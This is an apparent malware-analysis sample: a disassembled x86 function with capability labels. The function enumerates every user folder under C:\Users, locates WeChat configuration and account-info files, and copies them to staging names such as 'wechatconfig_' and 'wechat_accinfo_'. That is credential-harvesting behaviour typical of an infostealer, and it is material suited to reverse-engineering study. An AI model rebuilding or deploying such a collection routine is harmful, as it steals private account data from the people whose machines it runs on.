Function at 0x410c50
Capabilities:
Check if file exists
Copy file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x673b65
mov eax, dword fs:[0]
push eax
sub esp, 0x3c8
mov eax, dword [0x730b1c]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x32c], edx
mov ebx, ecx
mov eax, dword [ebp + 8]
mov dword [ebp - 0x308], eax
xorps xmm0, xmm0
mov dword [ebp - 4], 0
push 8
movups xmmword [ebp - 0x320], xmm0
call fcn.00405370
lea ecx, [ebp - 0x320]
add esp, 4
mov dword [eax + 4], 0
mov dword [ebp - 0x320], eax
mov dword [eax], ecx
lea eax, [ebp - 0x2fc]
mov dword [ebp - 4], 1
push eax
push str.C:Users.
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x410e0f
mov edi, dword [sym.imp.KERNEL32.dll_FindNextFileA]
nop dword [eax]
cmp byte [ebp - 0x2d0], 0x2e
je 0x410df6
test byte [ebp - 0x2fc], 0x10
je 0x410df6
lea eax, [ebp - 0x2fd]
mov dword [ebp - 0x130], 0
push 8
mov dword [ebp - 0x12c], 0
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x324], eax
call fcn.00405370
lea ecx, [ebp - 0x130]
mov dword [ebp - 0x328], eax
add esp, 4
mov dword [eax], ecx
mov dword [eax + 4], 0
mov dword [ebp - 0x130], eax
mov byte [ebp - 4], 2
lea eax, [ebp - 0x2d0]
mov dword [ebp - 0x11c], 0
lea edx, [eax + 1]
mov dword [ebp - 0x118], 0xf
mov byte [ebp - 0x12c], 0
nop dword [eax + eax]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x410d90
sub eax, edx
lea ecx, [ebp - 0x130]
push eax
lea eax, [ebp - 0x2d0]
push eax
call fcn.00405500
mov dword [ebp - 0x328], 0
lea eax, [ebp - 0x130]
mov byte [ebp - 4], 3
push eax
lea ecx, [ebp - 0x320]
call fcn.004126e0
lea ecx, [ebp - 0x130]
mov byte [ebp - 4], 1
call fcn.00405180
mov eax, dword [ebp - 0x130]
push 8
push eax
mov dword [ebp - 0x130], 0
call fcn.00405410
add esp, 8
lea eax, [ebp - 0x2fc]
push eax
push esi
call edi
test eax, eax
jne 0x410cf0
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp - 0x318]
mov eax, 0x92492493
sub ecx, dword [ebp - 0x31c]
xor edi, edi
imul ecx
mov dword [ebp - 0x310], edi
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
je 0x4115dc
mov esi, dword [sym.imp.SHLWAPI.dll_PathAppendA]
lea eax, [ebp - 0x114]
push 0x104
push 0
push eax
call fcn.00614d30
add esp, 0xc
lea eax, [ebp - 0x114]
push str.C:Users_
push eax
call esi
push edi
lea ecx, [ebp - 0x320]
call fcn.00412650
cmp dword [eax + 0x18], 0x10
lea ecx, [eax + 4]
jb 0x410e7d
mov ecx, dword [ecx]
push ecx
lea eax, [ebp - 0x114]
push eax
call esi
push str.DocumentsWeChat_FilesAll_Usersconfigconfig.data
lea eax, [ebp - 0x114]
push eax
call esi
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x4112ff
push edi
lea ecx, [ebp - 0x320]
call fcn.00412650
mov edx, dword [ebx + 0x14]
mov ecx, accept
sub ecx, edx
mov dword [ebp - 0x304], eax
cmp ecx, 0xf
jb 0x411605
cmp dword [ebx + 0x18], 0x10
lea edi, [ebx + 4]
mov eax, edi
jb 0x410edc
mov eax, dword [edi]
push 0xf
push str.wechatconfig_
push edx
push eax
push ecx
push dword [ebp - 0x308]
lea ecx, [ebp - 0x1bc]
call fcn.00412d60
push 8
push str.config_
lea ecx, [ebp - 0x1bc]
mov byte [ebp - 4], 4
call fcn.00403b50
mov esi, eax
mov byte [ebp - 4], 5
push 8
mov dword [ebp - 0x168], 0
mov dword [ebp - 0x164], 0
mov dword [ebp - 0x154], 0
mov dword [ebp - 0x150], 0
call fcn.00405370
add esp, 4
lea ecx, [ebp - 0x168]
mov dword [eax + 4], 0
mov dword [ebp - 0x168], eax
push esi
mov dword [eax], ecx
call fcn.00404490
mov ecx, dword [ebp - 0x304]
mov byte [ebp - 4], 6
cmp dword [ecx + 0x18], 0x10
lea eax, [ecx + 4]
jb 0x410f75
mov eax, dword [eax]
push dword [ecx + 0x14]
lea ecx, [ebp - 0x168]
push eax
call fcn.00403b50
mov esi, eax
mov byte [ebp - 4], 7
push 8
mov dword [ebp - 0x184], 0
mov dword [ebp - 0x180], 0
mov dword [ebp - 0x170], 0
mov dword [ebp - 0x16c], 0
call fcn.00405370
add esp, 4
lea ecx, [ebp - 0x184]
mov dword [eax + 4], 0
mov dword [ebp - 0x184], eax
push esi
mov dword [eax], ecx
call fcn.00404490
push 4
push str..dat
lea ecx, [ebp - 0x184]
mov byte [ebp - 4], 8
call fcn.00403b50
mov esi, eax
mov byte [ebp - 4], 9
push 8
mov dword [ebp - 0x130], 0
mov dword [ebp - 0x12c], 0
mov dword [ebp - 0x11c], 0
mov dword [ebp - 0x118], 0
call fcn.00405370
add esp, 4
lea ecx, [ebp - 0x130]
mov dword [eax + 4], 0
mov dword [ebp - 0x130], eax
push esi
mov dword [eax], ecx
call fcn.00404490
lea ecx, [ebp - 0x184]
call fcn.00405180
mov eax, dword [ebp - 0x184]
push 8
push eax
mov dword [ebp - 0x184], 0
call fcn.00405410
add esp, 8
lea ecx, [ebp - 0x168]
call fcn.00405180
mov eax, dword [ebp - 0x168]
push 8
push eax
mov dword [ebp - 0x168], 0
call fcn.00405410
add esp, 8
lea ecx, [ebp - 0x1bc]
mov byte [ebp - 4], 0xd
call fcn.00405180
mov eax, dword [ebp - 0x1bc]
push 8
push eax
mov dword [ebp - 0x1bc], 0
call fcn.00405410
mov ecx, dword [ebx + 0x14]
mov eax, accept
sub eax, ecx
add esp, 8
cmp eax, 0xf
jb 0x411605
cmp dword [ebx + 0x18], 0x10
jb 0x4110d1
mov edi, dword [edi]
push 0xf
push str.wechatconfig_
push ecx
push edi
push ecx
push dword [ebp - 0x308]
lea ecx, [ebp - 0x1a0]
call fcn.00412d60
mov byte [ebp - 4], 0xe
lea edx, [ebp - 0x1a0]
mov byte [ebp - 0x324], 0
lea ecx, [ebp - 0x14c]
push dword [ebp - 0x324]
call fcn.00412e60
add esp, 4
lea ecx, [ebp - 0x14c]
mov byte [ebp - 4], 0xf
call fcn.00414370
lea ecx, [ebp - 0x14c]
call fcn.00415890
mov eax, dword [ebp - 0x14c]
push 8
push eax
mov dword [ebp - 0x14c], 0
call fcn.00405410
add esp, 8
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x1a0]
call fcn.00405180
mov eax, dword [ebp - 0x1a0]
push 8
push eax
mov dword [ebp - 0x1a0], 0
call fcn.00405410
add esp, 8
lea eax, [ebp - 0x12c]
cmp dword [ebp - 0x118], 0x10
cmovae eax, dword [ebp - 0x12c]
push 1
push eax
lea eax, [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
cmp dword [ebp - 0x118], 0x10
lea eax, [ebp - 0x2fd]
lea esi, [ebp - 0x12c]
mov dword [ebp - 0x14c], 0
cmovae esi, dword [ebp - 0x12c]
push 8
mov dword [ebp - 0x148], 0
mov dword [ebp - 0x138], 0
mov dword [ebp - 0x134], 0
mov dword [ebp - 0x330], eax
call fcn.00405370
lea ecx, [ebp - 0x14c]
mov dword [ebp - 0x334], eax
add esp, 4
mov dword [eax], ecx
mov dword [eax + 4], 0
mov dword [ebp - 0x14c], eax
mov ecx, esi
mov byte [ebp - 4], 0x10
mov dword [ebp - 0x138], 0
mov dword [ebp - 0x134], 0xf
mov byte [ebp - 0x148], 0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411225
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0x14c]
call fcn.00405500
mov dword [ebp - 0x334], 0
mov ecx, dword [ebp - 0x32c]
lea eax, [ebp - 0x14c]
push eax
mov byte [ebp - 4], 0x11
call fcn.004126e0
lea ecx, [ebp - 0x14c]
mov byte [ebp - 4], 0xd
call fcn.00405180
mov eax, dword [ebp - 0x14c]
push 8
push eax
mov dword [ebp - 0x14c], 0
call fcn.00405410
add esp, 8
lea ecx, [ebp - 0x3d4]
call fcn.00402690
lea esi, [eax + 0x48]
mov byte [ebp - 4], 0x12
mov edx, str.add_configdata_path:
mov ecx, esi
call fcn.00402c30
cmp dword [ebp - 0x118], 0x10
lea edx, [ebp - 0x12c]
mov ecx, esi
cmovae edx, dword [ebp - 0x12c]
call fcn.00402c30
lea ecx, [ebp - 0x3d4]
call fcn.00408c10
lea ecx, [ebp - 0x130]
mov byte [ebp - 4], 1
call fcn.00405180
mov eax, dword [ebp - 0x130]
push 8
push eax
mov dword [ebp - 0x130], 0
call fcn.00405410
mov esi, dword [sym.imp.SHLWAPI.dll_PathAppendA]
add esp, 8
mov edi, dword [ebp - 0x310]
push 0x104
lea eax, [ebp - 0x2c0]
push 0
push eax
call fcn.00614d30
add esp, 0xc
lea eax, [ebp - 0x2c0]
push str.C:Users_
push eax
call esi
push edi
lea ecx, [ebp - 0x320]
call fcn.00412650
cmp dword [eax + 0x18], 0x10
lea ecx, [eax + 4]
jb 0x41133a
mov ecx, dword [ecx]
push ecx
lea eax, [ebp - 0x2c0]
push eax
call esi
push str.DocumentsWeChat_Files_
lea eax, [ebp - 0x2c0]
push eax
call esi
push edi
lea ecx, [ebp - 0x320]
call fcn.00412650
mov esi, eax
mov ecx, accept
mov eax, dword [ebx + 0x14]
sub ecx, eax
cmp ecx, 0x10
jb 0x411605
cmp dword [ebx + 0x18], 0x10
lea ecx, [ebx + 4]
jb 0x41137e
mov ecx, dword [ecx]
push 0x10
push str.wechat_accinfo_
push eax
push ecx
push ecx
push dword [ebp - 0x308]
lea ecx, [ebp - 0x1a0]
call fcn.00412d60
mov byte [ebp - 4], 0x13
lea eax, [esi + 4]
cmp dword [esi + 0x18], 0x10
jb 0x4113a8
mov eax, dword [eax]
push dword [esi + 0x14]
lea ecx, [ebp - 0x1a0]
push eax
call fcn.00403b50
mov esi, eax
mov byte [ebp - 4], 0x14
push 8
mov dword [ebp - 0x168], 0
mov dword [ebp - 0x164], 0
mov dword [ebp - 0x154], 0
mov dword [ebp - 0x150], 0
call fcn.00405370
add esp, 4
lea ecx, [ebp - 0x168]
mov dword [eax + 4], 0
mov dword [ebp - 0x168], eax
push esi
mov dword [eax], ecx
call fcn.00404490
push 1
push 0x70edb4
lea ecx, [ebp - 0x168]
mov byte [ebp - 4], 0x15
call fcn.00403b50
mov esi, eax
mov byte [ebp - 4], 0x16
push 8
mov dword [ebp - 0x14c], 0
mov dword [ebp - 0x148], 0
mov dword [ebp - 0x138], 0
mov dword [ebp - 0x134], 0
call fcn.00405370
add esp, 4
lea ecx, [ebp - 0x14c]
mov dword [eax + 4], 0
mov dword [ebp - 0x14c], eax
push esi
mov dword [eax], ecx
call fcn.00404490
mov byte [ebp - 4], 0x17
lea eax, [ebp - 0x148]
cmp dword [ebp - 0x134], 0x10
cmovae eax, dword [ebp - 0x148]
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0x304], eax
lea eax, [ebp - 0x309]
mov dword [ebp - 0x338], eax
push 8
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x18], 0
call fcn.00405370
add esp, 4
mov dword [ebp - 0x33c], eax
mov dword [eax], esi
mov dword [eax + 4], 0
mov dword [esi], eax
mov ecx, dword [ebp - 0x304]
mov edx, ecx
mov byte [ebp - 4], 0x18
mov dword [esi + 0x14], 0
mov dword [esi + 0x18], 0xf
lea eax, [edx + 1]
mov byte [esi + 4], 0
mov dword [ebp - 0x304], eax
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x411500
sub edx, dword [ebp - 0x304]
push edx
push ecx
mov ecx, esi
call fcn.00405500
mov edx, dword [ebp - 0x308]
lea ecx, [ebp - 0x2c0]
mov dword [ebp - 0x33c], 0
mov byte [ebp - 4], 0x17
call fcn.00410850
add esp, 0x1c
lea ecx, [ebp - 0x14c]
call fcn.00405180
mov eax, dword [ebp - 0x14c]
push 8
push eax
mov dword [ebp - 0x14c], 0
call fcn.00405410
add esp, 8
lea ecx, [ebp - 0x168]
call fcn.00405180
mov eax, dword [ebp - 0x168]
push 8
push eax
mov dword [ebp - 0x168], 0
call fcn.00405410
add esp, 8
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x1a0]
call fcn.00405180
mov eax, dword [ebp - 0x1a0]
push 8
push eax
mov dword [ebp - 0x1a0], 0
call fcn.00405410
mov ecx, dword [ebp - 0x318]
mov eax, 0x92492493
sub ecx, dword [ebp - 0x31c]
inc edi
imul ecx
add esp, 8
mov dword [ebp - 0x310], edi
add edx, ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add eax, edx
cmp edi, eax
jb 0x410e3c
lea ecx, [ebp - 0x320]
call fcn.00416450
mov al, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00610840
mov esp, ebp
pop ebp
ret
call fcn.00405240
int3